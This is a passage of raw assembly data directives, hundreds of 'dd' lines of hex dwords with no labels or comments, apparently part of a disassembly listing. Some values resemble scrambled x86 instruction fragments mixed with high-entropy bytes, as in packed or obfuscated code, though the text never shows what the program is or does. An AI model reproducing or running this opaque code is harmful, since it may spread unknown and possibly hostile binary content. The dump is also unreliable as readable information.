		dd 0FF025922h, 699643DCh, 0B98251B5h, 89F61F57h, 7E2555FEh
		dd 3EB679BCh, 0E47F77F2h, 3F69688Dh, 0B36723B8h, 0F3FD27C8h
		dd 0A1B171F0h, 0A5096D33h, 0C0747621h, 0F5E05D41h, 855C66C8h
		dd 0CA0705E1h, 729C7E00h, 0A870046h, 640A52D2h,	0ECFB71D9h
		dd 4F052D48h, 456D408Ah, 3F5F7C6Eh, 0A355171Ah,	405810EFh
		dd 0E2A3792Eh, 7F3D108Dh, 0FA2A4EFEh, 8D8D7D5Dh, 5EDB2BFh
		dd 28C0Fh, 0D08B0000h, 1AA98D89h, 0B58B05E7h, 5E7211Dh
		dd 2A4D85C7h, 6B9005E7h, 81660000h, 0C769C8E2h,	0E7273985h
		dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 2F20D759h, 88BA8090h, 0E9167F22h
		dd 7, 6EA2B22Fh, 0FF019892h, 0E722F9B5h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 13A7176Ch, 8B2989EAh, 0E716F595h, 9595FF05h,	8B05E717h
		dd 0E71B519Dh, 0FF006A05h, 0E721C195h, 0EBC08B05h, 0F31ACD1Fh
		dd 0D381A906h, 1FA6DF0Ah, 0BF00F3BCh, 0B177B368h, 0CE62AA03h
		dd 9174EF5h, 0A39BEB62h, 0CE8h,	94D32B00h, 0A17C5DE6h
		dd 8ABA20DCh, 0FD8D89CFh, 5F05E72Bh, 0AE9h, 0D2296800h
		dd 0AC2D3B60h, 818A3DC3h, 6AFCC7h, 4D9D8B00h, 0BE05E719h
		dd 71D11B67h, 0D0EE81h,	0C98071D1h, 8937FFAAh, 0E71C09B5h
		dd 0C88B5A05h, 1A89EA81h, 0EB814E5Ch, 1FF88978h, 3105EA81h
		dd 85892CAAh, 5E720C5h,	0AB83EA81h, 8B664F9Eh, 291789CAh
		dd 0E71B1585h, 7AEF8105h, 0E80DB014h, 13h, 833E133Bh, 0A72742BEh
		dd 387302A3h, 0F2656B52h, 589444F8h, 1476C781h,	0D88B0DB0h
		dd 9E850F4Eh, 0BFFFFFFh, 0E71B399Dh, 328D8D05h,	0E905EDB4h
		dd 0Eh,	34CAE0D2h, 3A693830h, 0E412EB5Bh, 8D8986E4h, 5E71AA9h
		dd 85C7C28Bh, 5E72A4Dh,	744Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 9EC35646h, 0EC472DECh, 0B8666084h
		dd 5E991A4h, 0CF000000h, 9382B582h, 3985C761h, 5E727h
		dd 81000000h, 977262F7h, 11B5FF00h, 6A05E724h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 9A8BC357h, 867350B0h, 179595FFh, 8D8905E7h, 5E72101h
		dd 95FF006Ah, 5E721C1h,	2EEBC08Bh, 0CDF67A35h, 6B691B77h
		dd 0DF019F4Ah, 0F6B1A017h, 2131840Ah, 0F4825CADh, 33489B32h
		dd 0E930EB01h, 5EF95BCh, 60E27FE9h, 59D4D36Bh, 8D8D8A90h
		dd 5EDB500h, 1AA98D89h,	6A05E7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 144334C3h, 29F122C4h
		dd 4D85C779h, 7405E72Ah, 0F00006Fh, 0BD89F6BFh,	5E70929h
		dd 273985C7h, 5E7h, 7E90000h, 7C000000h, 0CA7E00ACh, 0B5FF3B42h
		dd 5E70091h, 6820Fh, 9D890000h,	5E71A8Dh, 179595FFh, 6A05E7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0C20D1DC3h, 0A3D8D29h, 6A05E7h, 21C195FFh, 0C08B05E7h
		dd 0BC751CEBh, 1EADBB61h, 0D3014B8Ah, 6D98EE8Ah, 243DCD34h
		dd 82D050B7h, 28879AE0h, 10E80C30h
		dd 53000000h, 277DDFA7h, 1C7CA2A8h, 18675EBBh, 3D2258Ah
		dd 0E72839B5h, 8DB85905h, 81073B0Ch, 715CC1h, 1C2A6800h
		dd 858B0000h, 5E729D9h,	13E95Ah, 83990000h, 0D275D543h
		dd 0DEBA0C54h, 7BA00166h, 0F75A9875h, 8B31FF1Fh, 0E71841BDh
		dd 0C38B5B05h, 0BD6FEB81h, 852B3C51h, 5E72E4Dh,	4462C381h
		dd 0EB816E2Eh, 7A867E61h, 661989F5h, 7C66F781h,	0E904E983h
		dd 0Eh,	1CAEBF96h, 67E2844Dh, 938D3DACh, 0EA83CF5Eh, 13850F01h
		dd 66000000h, 0E9C0D4BFh, 1Fh, 0F2366F07h, 0B8C562ABh
		dd 6CB09896h, 0FFFF9CE9h, 12A730FFh, 0F734DFE8h, 310934C9h
		dd 8D7BB38Ch, 0EDB6B98Dh, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD292FB7h
		dd 5E71C95h, 1AA98D89h,	6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 741AB4C3h, 8C0F7Bh, 0C7000000h
		dd 0E72A4D85h, 6E2405h,	13E800h, 4A4E0000h, 0A087E264h
		dd 0B6910CC1h, 0A0658103h, 2D71E0FFh, 85C75B3Ah, 5E72739h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EAC35141h
		dd 4EB48736h, 1639B5FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 66D563C3h, 0B783C881h
		dd 179595FFh, 816605E7h, 6AFAEEDBh, 0C195FF00h,	8B05E721h
		dd 1A0DEBC0h, 0E29CF454h, 177FC4CFh, 748EDB40h,	32A585C6h
		dd 685605E7h, 0A9C530DFh, 2B05B5FFh, 858D05E7h,	5EA7DA1h
		dd 8D8DD0FFh, 5E70945h,	0FF406A51h, 0E72EADB5h,	6DB5FF05h
		dd 0FF05E70Ah, 0ADB5FFD0h, 0FF05E72Eh, 0E70A6DB5h, 6E805h
		dd 60E10000h, 88CCDF70h, 0EA835A5Ah, 242CC104h,	2424C102h
		dd 24140302h, 33241CF7h, 32048BF6h, 6B7CF081h, 0C0816250h
		dd 23C189A4h, 62C7E881h, 8F5064A0h, 0EE813204h,	4752ED4Fh
		dd 0ED4BC681h, 343B4752h, 0D2850F24h, 8DFFFFFFh, 0E71B419Dh
		dd 0B038B05h, 7840FC0h,	8B000000h, 45B8B03h, 0C98B1889h
		dd 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 0EDB77DEDh, 8428B05h
		dd 2638453Dh, 38850F78h, 8B000001h, 4A8B0C42h, 0BBC8D318h
		dd 5F9061B0h, 0E883C333h, 0A9858904h, 8B05E71Ah, 0F88B0458h
		dd 8B10428Bh, 0C8D3184Ah, 0E1B4F6BEh, 2BC633B8h, 0FCE083C7h
		dd 8904E883h, 0E72A4D85h, 14428B05h, 27398589h,	428B05E7h
		dd 0B0E95318h, 0FF000000h, 0E71CE1B5h, 0B9E905h, 0B5FF0000h
		dd 5E722F9h, 0AEE9h, 39B5FF00h,	0E905E716h, 0A3h, 15DB5FFh
		dd 98E905E7h, 0FF000000h, 0E70091B5h, 8DE905h, 0B5FF0000h
		dd 5E72B45h, 82E9h, 29B5FF00h, 0E905E720h, 77h,	32B5B5FFh
		dd 6CE905E7h, 0FF000000h, 0E72449B5h, 61E905h, 0B5FF0000h
		dd 5E70595h, 56E9h, 15B5FF00h, 0E905E71Dh, 4Bh,	1555B5FFh
		dd 40E905E7h, 0FF000000h, 0E72411B5h, 35E905h, 0B5FF0000h
		dd 5E72A29h, 2AE9h, 0F1B5FF00h,	0E905E72Ah, 1Fh, 251B5FFh
		dd 14E905E7h, 8B000000h, 0BB8D8h, 0F7660000h, 0DE8D8DE3h
		dd 305EDB7h, 0FFE1FFC8h, 0E7179595h, 858B5B05h,	5E71AA9h
		dd 0F045839h, 0F85h, 16A5300h, 21C195FFh, 0E95B05E7h, 0FFFFFFE2h
		dd 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 9BD858Bh,	8D8D05E7h
		dd 5EDB8CCh, 8B014189h,	0CE8C3h, 0F730000h, 5B02FBD9h
		dd 0B24F5E13h, 62BFFA82h, 5B65F1FAh, 0C3C381F5h, 0F00005Eh
		dd 681h, 2EA8100h, 2B4F4A60h, 0EE9C0h, 0C0CD0000h, 0B28E71C3h
		dd 9E2E9ECBh, 182AE61Bh, 81030C8Bh, 77889BC1h, 0D2816642h
		dd 0E981CCAAh, 22BB3E14h, 1E6EE281h, 0F1816E57h, 12CB49BCh
		dd 8820Fh, 880F0000h, 2, 0F5122B2h, 18Eh, 48FFC00h, 31BA6603h
		dd 0DE851h, 8F4B0000h, 0C03C5F7Eh, 5D30BF98h, 81C053D6h
		dd 0A2A477D6h, 0E8815A77h, 73AD749h, 3FC174BEh,	45C08155h
		dd 81073AD7h, 0FFA1ECF8h, 8D850FFFh, 81FFFFFFh,	0DA6D57EFh
		dd 0ABE940h, 8D500000h,	0B11C3F2Eh, 0ABDA5F72h,	0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0A601E800h, 323D94E7h, 0FF373A83h, 12A0E94Fh
		dd 4B680000h, 0E905EDBCh, 0FFF9C633h, 0EDBD4B68h, 0C629E905h
		dd 3468FFF9h, 0E905EDBEh, 0FFF9C61Fh, 0EDBF9168h, 0C615E905h
		dd 1C68FFF9h, 0E905EDC0h, 0FFF9C60Bh, 0EDC0BF68h, 0C601E905h
		dd 9568FFF9h, 0E905EDC1h, 0FFF9C5F7h, 0EDC25168h, 0C5EDE905h
		dd 468FFF9h, 0E905EDC3h, 0FFF9C5E3h, 0EDC44268h, 0C5D9E905h
		dd 2768FFF9h, 0E905EDC5h, 0FFF9C5CFh, 0EDC67868h, 0C5C5E905h
		dd 0CC68FFF9h, 0E905EDC7h, 0FFF9C5BBh, 0EDC9D768h, 0C5B1E905h
		dd 0A168FFF9h, 0E905EDCAh, 0FFF9C5A7h, 4CE237ADh, 952BFEFCh
		dd 0E379A045h, 2EC46D93h, 760C1DDEh, 2AD1F45Dh,	0E51969FFh
		dd 9B66B64Ch, 4FB00096h, 5E774CE2h, 7F8D8D71h, 0AA2F155Ah
		dd 0ABF839C6h, 65FB36C9h, 29E0487Bh, 76DFDD3Ch,	56435851h
		dd 5A78DF72h, 0E6F42CFAh, 0E1C5B2C7h, 695A78DFh, 0E0280C9Bh
		dd 0E2B05A78h, 8E6E2F7Ch, 295A78DFh, 0F8A2D523h, 0D9409BF4h
		dd 37h,	47FB2C84h, 4B2D7AB7h, 0B1177DB4h, 0FC460DFAh, 0F8C65176h
		dd 0FD0AEAABh, 9FA55A78h, 0D5741E49h, 0A6B4409Bh, 0B599865Ah
		dd 3D5A7908h, 24BC096Fh, 1147AECh, 0C6250000h, 0C9ABF839h
		dd 0C8AAF732h, 0D8BCA937h, 605491D3h, 0FDDF2C92h, 0CC1BE502h
		dd 1BB30019h, 8AB94FB5h, 5491D123h, 1609DA25h, 0FCE6E686h
		dd 0D507F796h, 69D16B21h, 8166D03h, 52EA37F2h, 53C719Eh
		dd 0D50DB2CFh, 4EB136C9h, 98FE96E3h, 34A4CF4Bh,	0D3F46B7Dh
		dd 95A6B788h, 725D4A5Dh, 7A517728h, 288A6E5Bh, 44125A79h
		dd 1FFB6F90h, 46AC4CAEh, 0CAE57D8Fh, 7BB05999h,	1AF3D7C4h
		dd 0AD7B5A79h, 1E2C8375h, 6C0451E0h, 0F3658E34h, 0AF024F3Ch
		dd 0B482575Fh, 0CC0CEFFDh, 62CEFBDFh, 1B58360h,	0EA21D66Dh
		dd 0CB82E812h, 0B9F128BDh, 0A58477C7h, 64ADA81h, 0AD512EDFh
		dd 1002h, 0B046D311h, 0F98F9A60h, 47DD3CA9h, 922809F7h
		dd 0DA70B942h, 0C63558C1h, 817DCD63h, 37CA1AB0h, 0EB1464FAh
		dd 0C2DBB046h, 7F8FF1D5h, 0E93795Ah, 55AA35C6h,	0D3BA9E8Bh
		dd 74425491h, 0C329C10Eh, 0F22DD2Dh, 7CB54A58h,	6D5F972Fh
		dd 48190416h, 179E35EDh, 0FB2CCEDFh, 5A3E2B40h,	0E25491D3h
		dd 0D3A18514h, 5B295491h, 8A513EF5h, 0A5176FBh,	3A254AEEh
		dd 0CB31D513h, 9380957Eh, 5A78F5AFh, 46316937h,	5A78F566h
		dd 0AA97AC01h, 5A78F5C6h, 8448804Eh, 0DE590376h, 0A73A409Bh
		dd 0E5000000h, 0ABF839C6h, 40F732C9h, 51C81D2Bh, 0F9DD6C04h
		dd 835491D3h, 3503B57Ch, 2C9354FDh, 2E5491D1h, 0CF16D1h
		dd 65CB3100h, 0B1807FCFh, 4DBFE864h, 0DBBEA996h, 0F8C65176h
		dd 0DD4F7862h, 6BDB3926h, 8D5B575Fh, 0F633C8D6h, 0EDEB1060h
		dd 628E1C00h, 70D6A460h, 676194Ch, 0E08461DFh, 0F02h, 0B046D311h
		dd 0F98F9A60h, 47DD3CA9h, 922809F7h, 0DA70B942h, 0C63558C1h
		dd 817DCD63h, 37CA1AB0h, 0EB1464FAh, 0C2DBB046h, 7F90F1D5h
		dd 0E93795Ah, 5EF435C6h, 8940F10Eh, 6C597F7Bh, 5491D388h
		dd 0A4DC4210h, 39C65DB2h, 3F2C41F8h, 5491D35Bh,	136115E3h
		dd 33BEE3ABh, 0D2BB649Ch, 41F53CC4h, 4A962EE6h,	4450883Bh
		dd 90E076BBh, 9577C455h, 7231C76Ah, 0ECD5E7FAh,	0F902A068h
		dd 0E21E02EFh, 0D8A65491h, 63943A72h, 0E1D7BBA8h, 915F5491h
		dd 0E209EDDAh, 0C3915491h, 76B9A65Dh, 0FE5176F0h, 6342C330h
		dd 4BA90323h, 9A7F6618h, 49907D34h, 0C94EE854h,	0C83644FBh
		dd 0C883169h, 0CDBA71DBh, 54D4548Eh, 260BF60Eh,	43A98876h
		dd 0B0817E8Ch, 8BB1C31Ah, 0F7D47BE0h, 4DB2BEF6h, 2FAFC0E4h
		dd 1EFBE194h, 0E197Ah, 2FEAFA00h, 78B14999h, 0C65392E2h
		dd 1120E030h, 59D02B7Bh, 1E41AAC3h, 66B64CDDh, 0B3039998h
		dd 0FD4DE34Eh, 0C4992F02h, 91DABEABh
		dd 7C625A7Fh, 0AE39C6F7h, 0FB93E051h, 9BCC4895h, 0D68D7A31h
		dd 565176D1h, 0DF08F288h, 7EC9B66Dh, 6575DF6h, 0B71D0CEEh
		dd 0F6C9A96Ah, 0F64605Fh, 1BE5FA01h, 0CB31C916h, 0EAAEE67Eh
		dd 0DFBF691Ch, 0F1FF4EB2h, 3FD7240Dh, 499507h, 2C400000h
		dd 0EDDA91FBh, 51769F29h, 1E2CE3B1h, 82974EE3h,	7920B195h
		dd 0DE21395Ah, 86E0653h, 12226254h, 7AB2A090h, 2A7B5988h
		dd 2FD5A79h, 0B849992Fh, 0C0ADC279h, 5A792ADCh,	7AAF4C64h
		dd 0F72F952Dh, 0D58AA4Eh, 2C0D0000h, 0EDDA91FBh, 517C69CDh
		dd 3A48FFCDh, 4A2E1BC5h, 0D25A7F8Eh, 0D5E79E04h, 38C79C37h
		dd 76631A02h, 5A7FC892h, 22144C1Ah, 9F41BDCBh, 7FC8CEB2h
		dd 2288565Ah, 0C89A7E6Bh, 54225A7Fh, 42EF101Ch,	0DE4E79F5h
		dd 4AE71927h, 1A2D65FDh, 6A5FEE2Dh, 0D4576957h,	5601A87Ch
		dd 0E02DECF9h, 9CAAE248h, 0F60917CEh, 0AA55A53Bh, 23C2D087h
		dd 5D11A9F6h, 0FA4E8BBEh, 0F7A0D8AFh, 0A28F487Bh, 606D2BBEh
		dd 5B127846h, 5231E36Eh, 2ED3EB5Dh, 799D03h, 68D914CDh
		dd 0CBCE78Bh, 8D570000h, 54A6F68Ch, 0F6EF3FD5h,	0C33D8D23h
		dd 7388D86Eh, 9E0720B6h, 13A9807Bh, 60F63BC3h, 0AA40F110h
		dd 0F68CA55Ah, 371B0821h, 0BF5A7F93h, 0B1BF54D9h, 2E9F944Fh
		dd 0A7BBA56Fh, 3E1E0941h, 26549220h, 73BE41FDh,	3269560Dh
		dd 0AD517CB7h, 0F269029Bh, 84BC809Eh, 0E3F1A876h, 2F7F151Ch
		dd 2B1461D0h, 0A718D719h, 0DF174935h, 0E79E0E39h, 659043FAh
		dd 5A7C357h, 66CAF92Fh,	87A25808h, 9F86FD21h, 0F5D2DF01h
		dd 0C3151h, 1702E200h, 60C93181h, 0AE6B7ACAh, 0F938C818h
		dd 41E81363h, 62992ABh,	4E9E34F5h, 9BEB81B0h, 0E535CB66h
		dd 0AC81171Ah, 93C2A693h, 644A5A7Fh, 0F839C6DFh, 5AB0C2ABh
		dd 60D12E0Fh, 84C77B13h, 828EC65Eh, 4C946A7Dh, 927C7B5Fh
		dd 0CF350354h, 1F811C69h, 51F49EC9h, 9BD5457Ch,	80000006h
		dd 0DA91FB2Ch, 7C6BBBEDh, 0BE754351h, 2BE24FB0h, 8D452916h
		dd 0FFCD5A7Fh, 707ED5C7h, 606CA475h, 5C45929Fh,	4880B14Eh
		dd 7F8D7D5Dh, 0CA32655Ah, 8B6F2613h, 21EF5764h,	27490FDh
		dd 57FBD8DFh, 0B8Eh, 24BA5F85h,	6D0326D4h, 0BB51C81Dh
		dd 69C956Bh, 4EE445B6h,	52A9CC35h, 0DF141D7h, 0C33E8E24h
		dd 7788D86Eh, 364F24BAh, 7F936549h, 8207ED5Ah, 41F839C6h
		dd 0D35B3F2Ch, 15E35491h, 5D959C65h, 42DD2B4h, 2CBA1CB7h
		dd 7CF88F39h, 3FC1CF45h, 0FF48BAF2h, 0F3000005h, 91D407E7h
		dd 0AC4EF54h, 26F3F2F5h, 9D8A73C0h, 5491D3B9h, 0A70D7341h
		dd 0CC03E2F0h, 4B98FE33h, 33FE03B3h, 3164EE6h, 7C6BA416h
		dd 27DEAC51h, 32F70412h, 9154DE5h, 55A53BF6h, 1EC23DAAh
		dd 7F8D4D31h, 0A107D55Ah, 8A76843Bh, 0EC25AA7h,	374439B0h
		dd 34DD1517h, 6DC43D4Bh, 0F4648F35h, 2613283Dh,	5A7FB342h
		dd 0D9C4FCCAh, 5764B222h, 0E7B0D4A2h, 93DF024Dh, 0AB812B6h
		dd 895B0000h, 50AAFA90h, 0F2F343D9h, 0BF419127h, 6F8CDC72h
		dd 0A20B24BAh, 17AD7C7Fh, 64FA37C7h, 0AE44ED14h, 0FA90A15Eh
		dd 3B1F0C25h, 0C35A7F95h, 0B1BF58DDh, 0FC94E150h, 0EA47B8C4h
		dd 0ED44BB9Dh, 465405A0h, 793D75B4h, 63BBCD63h,	9AF31381h
		dd 7B199D1h, 0E8457C95h, 526h, 0B67B8391h, 0FB2C6D7Eh
		dd 34CCDA91h, 0E018B0FDh, 6A0BE0CDh, 7886517Ch,	0C75FAC6Dh
		dd 0FCB3818Fh, 8A2011EEh, 1F6CC53Ah, 7F8D7E5Eh,	0CB3D665Ah
		dd 2E12FF14h, 0B45A7F8Eh, 0D29AA1EAh, 703EF061h, 81382538h
		dd 0FC576467h, 6C16FAE7h, 0D09E6066h, 1850E120h, 89183C0Ah
		dd 0E1DF0298h, 9FC6004h, 0CD170000h, 9466B64Ch,	36AFFF95h
		dd 3FD4DE3h, 0B348982Eh, 5EC7E076h, 0D369C03Bh,	20B67B83h
		dd 6A0031D0h, 0B64CE51Ah, 0F7DBC8E1h, 7F5A7F95h, 39C61499h
		dd 7CE237AEh, 9852B3C5h, 0AAB3A822h, 18E7C972h,	17EACC19h
		dd 13EBCD1Ah, 0FEFD11Eh, 7A908022h, 9C6ACC35h, 7CBC3FE9h
		dd 4642045h, 0BFCB0000h, 93E049B1h, 0F71D47FBh,	0FD5FDFF1h
		dd 7BF7DAC5h, 0BCE75492h, 30A8954Ch, 2B517D13h,	0E104E31Dh
		dd 0ED53EB38h, 22D9A7B5h, 0B046EB14h, 45929F60h, 772E9EC9h
		dd 6531DB8Ah, 0B8485657h, 105DCC2Fh, 0CCDA1278h, 0B1D1DAFEh
		dd 0BC99DF01h, 94918h, 0FF1ACA00h, 48E11969h, 968362B2h
		dd 0E150B000h, 2900FB4Bh, 0EE117A93h, 36861C0Dh, 83D369C8h
		dd 0CD1DB37Eh, 9469FF32h, 96AA8E7Bh, 4C325A7Fh,	0F839C6C7h
		dd 0FB36C9ABh, 1CEADAAEh, 0C077BA45h, 5AFE99ABh, 0C0AB828Eh
		dd 922F4D31h, 0CF07D554h, 0A007B1DDh, 30E8457Ch, 93000001h
		dd 0ABF839C6h, 65FB36C9h, 280CF90Eh, 0B05491D4h, 0D304AAE2h
		dd 66C5B269h, 0E65176E0h, 0CDE2CB18h, 78E0FCE0h, 7EB6845Ah
		dd 78E0B393h, 0B2484E5Ah, 9BF51DC7h, 34FE40h, 0BFA90000h
		dd 0A18E4AB1h, 5491D3BDh, 0D9117745h, 0E1980033h, 76FC2DF4h
		dd 92DFAD51h, 78FBF1D1h, 70868C5Ah, 9BD45B05h, 0BB3C40h
		dd 0D7E50000h, 21B90623h, 39C6D8E9h, 0B4C2ABF8h, 9FABE346h
		dd 9780CD5Ch, 7D6A7689h, 5491D399h, 0B5ED5321h,	8EDB56A9h
		dd 0C96897A5h, 0A0ACE47Ch, 0D3CD25Fh, 5491F936h, 54EA47B8h
		dd 18CF396Ah, 0FF321603h, 29BC5491h, 0DB263EF0h, 0B710956h
		dd 0F3D3C0D3h, 7351788Ch, 1EE0EEA5h, 0BAC8DB13h, 0D0619E41h
		dd 0EF85EB83h, 8F7C5C9Fh, 5A7BB0ABh, 0DBFF6533h, 0E4ED52DAh
		dd 0B21C5A2h, 8000008h,	57A73DDCh, 0A0F086A3h, 0EE3ED445h
		dd 39891F12h, 0B8D167C2h, 5ACF2C4Fh, 0A78A74C4h, 0F140C111h
		dd 3DF40B5Bh, 0CCB9D2A7h, 5A7F97E8h, 0C6058A70h, 75EF435h
		dd 0F42C05F9h, 841A17E8h, 0F839C62Fh, 0FB36C9ABh, 2885365h
		dd 2CB60000h, 0EDDA91FBh, 5176D072h, 0E0F5AC7Ah, 78F10FF3h
		dd 91C9975Ah, 0F04727E8h, 0DCE25A78h, 0E1B15B0Eh, 0DFF1409Bh
		dd 0DFBAA5CAh, 53C5FD6Eh, 232h,	0D406E7FEh, 0CDF65491h
		dd 818FA45Bh, 0CD65B27Fh, 6B30AA95h, 1E33517Ch,	7F8D4D31h
		dd 0C9B6D55Ah, 5A7F8DE5h, 1399F6Dh, 606E25F3h, 0C6DB929Fh
		dd 7F8DF5D9h, 0A78B785Ah, 2F5A7F8Dh, 0A9E1AF61h, 4B9867B7h
		dd 469509E1h, 0D11E8458h, 3BA2255h, 647F6716h, 26D4E257h
		dd 0EFBDCB03h, 263F4CBh, 3BDFBCDFh, 726h, 8C22F7EDh, 0D56BBE3Ch
		dd 23B96085h, 6E042DD3h, 0B64CDD1Eh, 0EA11349Dh, 0A559A93Fh
		dd 5BA6F68Ch, 0FF040D6h, 9EB78C22h, 7F98CDB1h, 0EA6F555Ah
		dd 0E049B1BFh, 5744FB93h, 5491D373h, 0E9F52DFBh, 0E5CE1B16h
		dd 0B90623D7h, 22DDE921h, 0AFEEC20Fh, 0F1E11D9Dh, 8AC25780h
		dd 0DE2130C6h, 0E791BD53h, 0C8457C5Ch, 162h, 0F839C673h
		dd 0FB36C9ABh, 3C5F3244h, 479C62Fh, 0C7F0DACCh,	55909E55h
		dd 8C798CC4h, 51776E2Dh, 0D192DFADh, 5A796DF1h,	570868Ch
		dd 409B625Bh, 5F3Ch, 0B2D3E500h, 3A7742FEh, 2C0C1D55h
		dd 0C5DA91FBh, 0D45DA2B0h, 91D36145h, 0E31BE954h, 76FC31F8h
		dd 395B151h, 498CF317h,	5A1B68CEh, 5A79917Ah, 0E12E03FCh
		dd 1BE601FFh, 0BE63B016h, 7E159A70h, 4DE41B29h,	6C306800h
		dd 4241EB9Eh, 9B22409Bh, 0CB000000h, 38EC3DBDh,	0F8AD12D9h
		dd 91A2DA08h, 0FDAA39C6h, 38A9132h, 331562C8h, 321461C8h
		dd 351764CDh, 7AD167CAh, 0AF518E6Ch, 379D3582h,	2F1A52EAh
		dd 54927568h, 861C15EAh, 4A016B9Ch, 79A77D5Dh, 1CE5FD51h
		dd 0EAF8AF15h
		dd 34CC1910h, 20DBE9FCh, 0D8237309h, 389C2D51h,	7E4E4ECh
		dd 5D563h, 73A63E00h, 0BC6D8DDDh, 0A0FD626h, 55DC2474h
		dd 9D8C6FBFh, 6285EE07h, 0AAFA9099h, 0F747DD54h, 4191270Ah
		dd 8DD73BEh, 9A1E02EFh,	0C0A65A7Fh, 0F435C63Bh,	40F10E5Eh
		dd 0B1BF55AAh, 0FF97E44Dh, 0ED44BBC7h, 0A241BEA0h, 4FB2E9DEh
		dd 25AB2EE2h, 4F09F5A9h, 903CBFDh, 6ADAECA3h, 4DDC1ED5h
		dd 44150699h, 33081A0Ch, 69000000h, 0DF3DA65Bh,	940AAF5Dh
		dd 0FD95E248h, 39C6B4C5h, 90DD4CAEh, 634592F8h,	9648959Ch
		dd 42BD9462h, 0DCDC28A1h, 15C5DB87h, 47DD43E6h,	3135h
		dd 0ADBF9800h, 0E4377B3h, 8863FE30h, 0D7BCAD61h, 0A55A669Eh
		dd 2C2B583Eh, 0A65DAA7Fh, 9230D5B9h, 298F5D54h,	313C1BDCh
		dd 63455492h, 0F041BE95h, 39C6055Ah, 0B0C2ABF8h, 7888FDF4h
		dd 7C225AE2h, 97934Bh, 63046167h, 94E148B3h, 0F2DF96FCh
		dd 517D5CD2h, 48A4BBCDh, 4B7CB758h, 0DF177DB4h,	3E4C03D1h
		dd 8ADA70C1h, 9A7E6B75h, 225A805Eh, 25A1EE54h, 0BED38AF2h
		dd 96E34EB0h, 9CDBC6FEh, 1C576AF6h, 0D6CE2600h,	8E6DBD95h
		dd 50B64E9Bh, 81CE5BA0h, 0BECC83E9h, 0A5AF041h,	240DF2F5h
		dd 0C2F571BEh, 2BB6A35Ah, 335D5324h, 0DB924165h, 9E6D913h
		dd 48165h, 0C7529200h, 1019E131h, 5EBB2A7Ah, 0A98878C8h
		dd 0F138C313h, 0B6D9425Bh, 0FE4EE445h, 4B9B3100h, 95E57BB6h
		dd 5C31C76Ah, 9A725643h, 14FA5A7Fh, 6CADBF8Fh, 4C301D7Ch
		dd 0D454925Eh, 0EAC5206h, 956A76AEh, 49B6069Ch,	46B99BE8h
		dd 0DACA9EEBh, 67CA350Ch, 5FBA5D1h, 42DC457Ch, 87000000h
		dd 0DF4AB1BFh, 66D601A7h, 0D25FA1AFh, 0A2B5ED85h, 769EF1B5h
		dd 0F4AB7951h, 80161BE6h, 79207351h, 0D60AF55Ah, 792105E9h
		dd 59BF8D5Ah, 0A38E73C3h, 6B586D56h, 5A792087h,	3B09410Fh
		dd 3E2h, 0F839C69Eh, 0FB36C9ABh, 5E422F44h, 0E65491D3h
		dd 4EEE018h, 9DB269D3h,	91D3CCB0h, 4E865454h, 0DFEF4E3Bh
		dd 0A16F5176h, 0DFB39354h, 0CA355A78h, 0DF452916h, 0FFCD5A78h
		dd 93664C99h, 13C163D0h, 87925303h, 8064513Ah, 85A79B7h
		dd 7086BA3Ah, 0AB1120E1h, 8DF80E14h, 409B1CE3h,	49D01523h
		dd 3F9F11h, 36480000h, 0F3B3C8C3h, 0DC5583A6h, 0E053C377h
		dd 2C283971h, 0EDDA91FBh, 5176FC26h, 0B69A87A6h, 3C5A78FBh
		dd 5363D693h, 0F1BF7173h, 9D7D3E8Bh, 385A7957h,	7B1A432h
		dd 0E8409B78h, 101h, 0F839C693h, 4CB4C2ABh, 48B698E5h
		dd 3F4B83E9h, 3E206DBCh, 412370C1h, 0AEDD73BEh,	5491D147h
		dd 3D2AB649h, 5491D759h, 0FC35C9E1h, 4BB117AFh,	0AE505EB5h
		dd 1F6CC539h, 0DDE92187h, 0F920C522h, 33CEDC93h, 81B04EFEh
		dd 0A5B7A049h, 81DB2B2Bh, 0E58BC301h, 7E934AB2h, 53A09170h
		dd 0A59883BBh, 0A85177BAh, 0E0C2A693h, 7C4A5A79h, 0E0F4D8C5h
		dd 0AE7C5A79h, 0E39A6876h, 5223A2D1h, 3D759257h, 65E2F44Bh
		dd 0D5FC19E3h, 0D700A6DEh, 8B99AE65h, 0D971BE73h, 8A50B6A1h
		dd 394B5760h, 46220152h, 3E4C8450h, 50ABB970h, 0D7EC43D9h
		dd 0B0FD1CC9h, 7AA58918h, 5F2D6063h, 49E01B27h,	589B825h
		dd 0CF7350DFh, 276h, 3CD2479Dh,	851B0EECh, 0D369B035h
		dd 1EB47D83h, 66FC2DCEh, 3AC1E44Dh, 0F50959EFh,	0AB56A63Ch
		dd 5FA0F086h, 4E673CD2h, 7F9C7D61h, 9A1F055Ah, 5EF435C6h
		dd 0AA40F10Eh, 4DB1BF55h, 0C7FF97E4h, 0CF86F621h, 0DB4EACBAh
